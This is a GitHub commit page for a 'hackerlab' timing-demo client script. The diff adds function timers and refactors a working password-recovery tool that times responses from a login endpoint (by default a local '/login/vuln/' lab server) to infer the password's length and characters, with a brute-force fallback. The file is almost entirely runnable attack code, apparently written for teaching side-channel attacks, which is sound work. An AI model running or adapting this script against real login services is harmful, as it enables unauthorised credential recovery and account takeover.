Skip to content

Commit

Permalink
add timings for functions
Browse files Browse the repository at this point in the history
  • Loading branch information
ondrej-lukas committed Oct 30, 2024
1 parent 4c14941 commit 177e466
Showing 1 changed file with 62 additions and 32 deletions.
94 changes: 62 additions & 32 deletions hackerlab/data/timing-demo/client.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,21 @@
GNU nano 7.2 client.py
import requests
from timeit import timeit
import argparse
from string import ascii_letters, digits
from itertools import combinations_with_replacement
from itertools import product
import numpy as np
import time
from time import time

def timer_func(func):
# This function shows the execution time of
# the function object passed
def wrap_func(*args, **kwargs):
t1 = time()
result = func(*args, **kwargs)
t2 = time()
print(f'Function {func.__name__!r} executed in {(t2-t1):.4f}s')
return result
return wrap_func

def send_request(server_url: str, password: str) -> bool:
"""
Expand All @@ -29,18 +39,22 @@ def find_length(server_url: str, min_len:int=3, max_len:int=4, attempts:int=1000
for length in range(min_len, max_len+1)
}
print("password length distribution:", times)
return max(times, key=times.get)
data = np.array(list(times.values()))
m_value = 3*np.median(np.abs(data - np.median(data)))
return max(times, key=times.get), m_value

def contains_outlier(data, m=50):
def contains_outlier(data, m=25):
"""
Detect outliers in an array of numbers using the median and median absolute distance.
"""
if len(data) <= 3:
return False
d = np.abs(data - np.median(data))
mdev = np.median(d)
s = d/mdev if mdev else np.zeros(len(d))
return np.any(s>m)

def find_char_at_idx(idx, pass_list, vocab, server_url, num_attempts=100, mode="full"):
def find_char_at_idx(idx, pass_list, vocab, server_url, num_attempts=100, mode="full", m_value=10):
"""
Method for discovery of correct character of the password on a given position.
"""
Expand All @@ -49,33 +63,63 @@ def find_char_at_idx(idx, pass_list, vocab, server_url, num_attempts=100, mode="
pass_list[idx] = character
timings[character] = timeit(lambda: send_request(server_url, password="".join(pass_list)), number=num_attempts)
if mode == "fast": # use statistical method to speed up the search
if contains_outlier(list(timings.values())):
if contains_outlier(list(timings.values()), m=m_value):
break
print(timings)
print(f"Idx:{idx}, char found:{max(timings, key=timings.get)}")
return max(timings, key=timings.get)

def find_password(server_url: str, vocab, pass_len: int, num_attempts, mode="full") -> str:
def find_password(server_url: str, vocab, pass_len: int, num_attempts, mode="full", m_value=10) -> str:
password = [" " for _ in range(pass_len)]

# use timings to determine the correct character in each position
for i in range(pass_len-1):
password[i] = find_char_at_idx(i, password, vocab, server_url, num_attempts=num_attempts, mode=mode)

password[i] = find_char_at_idx(i, password, vocab, server_url, num_attempts=num_attempts, mode=mode, m_value=m_value)
# bruteforce the last character of the password
for c in vocab:
password[-1] = c
if send_request(server_url, "".join(password)):
break
return "".join(password)

def bruteforce_pass(server: str, vocab, length:str) -> str:
passlist = combinations_with_replacement(vocab, length)
def bruteforce_pass(server: str, vocab, length:int) -> str:
passlist = product(vocab, repeat=length)
for password in passlist:
print("Trying:" + "".join(password))
if send_request(server, "".join(password)):
return password
print("\t FOUND!")
return "".join(password)
return False

@timer_func
def bruteforce_attack(server: str, vocab, min_len:int=4, max_len:int=8)->None:
print("Starting bruteforce attack")
password = False
for pass_len in range(min_len, max_len+1,1):
password = bruteforce_pass(URL, vocab, pass_len)
if password:
break
print("Bruteforce pass:", password)
print(f"Connecting with password:'{password}' - SUCCESS:{send_request(URL, password)}")

@timer_func
def sca_attack(URL:str, vocab, min_len:int=4, max_len:int=8)->None:
print("Starting timing attack - full")
pass_len, _ = find_length(URL, min_len, max_len, attempts=500)
print("The length of the password is:", pass_len)
password = find_password(URL, vocab,pass_len, num_attempts=50, mode="full")
print("The password is: ", password)
print(f"Connecting with password:'{password}' - SUCCESS:{send_request(URL, password)}")

@timer_func
def sca_attack_fast(URL:str, vocab, min_len:int=4, max_len:int=8)->None:
print("Starting timing attack - fast")
pass_len, m_value = find_length(URL, min_len, max_len, attempts=500)
password = find_password(URL, vocab,pass_len, num_attempts=100, mode="fast", m_value=m_value)
print("The password is: ", password)
print(f"Connecting with password:'{password}' - SUCCESS:{send_request(URL, password)}")

if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--server", type=str, default="http://127.0.0.1")
Expand All @@ -92,25 +136,11 @@ def bruteforce_pass(server: str, vocab, length:str) -> str:
vocab = ascii_letters
else:
vocab = ascii_letters + digits

URL = f"{args.server}:{args.port}/login/vuln/"

# find password length
pass_len = find_length(URL, args.min_len,args.max_len, attempts=500)
#pass_len = 4
print("The length of the password is:", pass_len)
if args.mode == "fast":
print("Starting timing attack - fast")
password = find_password(URL, vocab,pass_len, num_attempts=50, mode="fast")
print("The password is: ", password)
print(f"Connecting with password:'{password}' - SUCCESS:{send_request(URL, password)}")
sca_attack_fast(URL, vocab, args.min_len, args.max_len)
elif args.mode == "bruteforce":
print("Starting bruteforce attack")
password = bruteforce_pass(URL, vocab, pass_len)
print("Bruteforce pass:", password)
print(f"Connecting with password:'{password}' - SUCCESS:{send_request(URL, password)}")
bruteforce_attack(URL, vocab, args.min_len, args.max_len)
else:
print("Starting timing attack - full")
password = find_password(URL, vocab,pass_len, num_attempts=50, mode="full")
print("The password is: ", password)
print(f"Connecting with password:'{password}' - SUCCESS:{send_request(URL, password)}")
sca_attack(URL, vocab, args.min_len, args.max_len)

0 comments on commit 177e466

Please sign in to comment.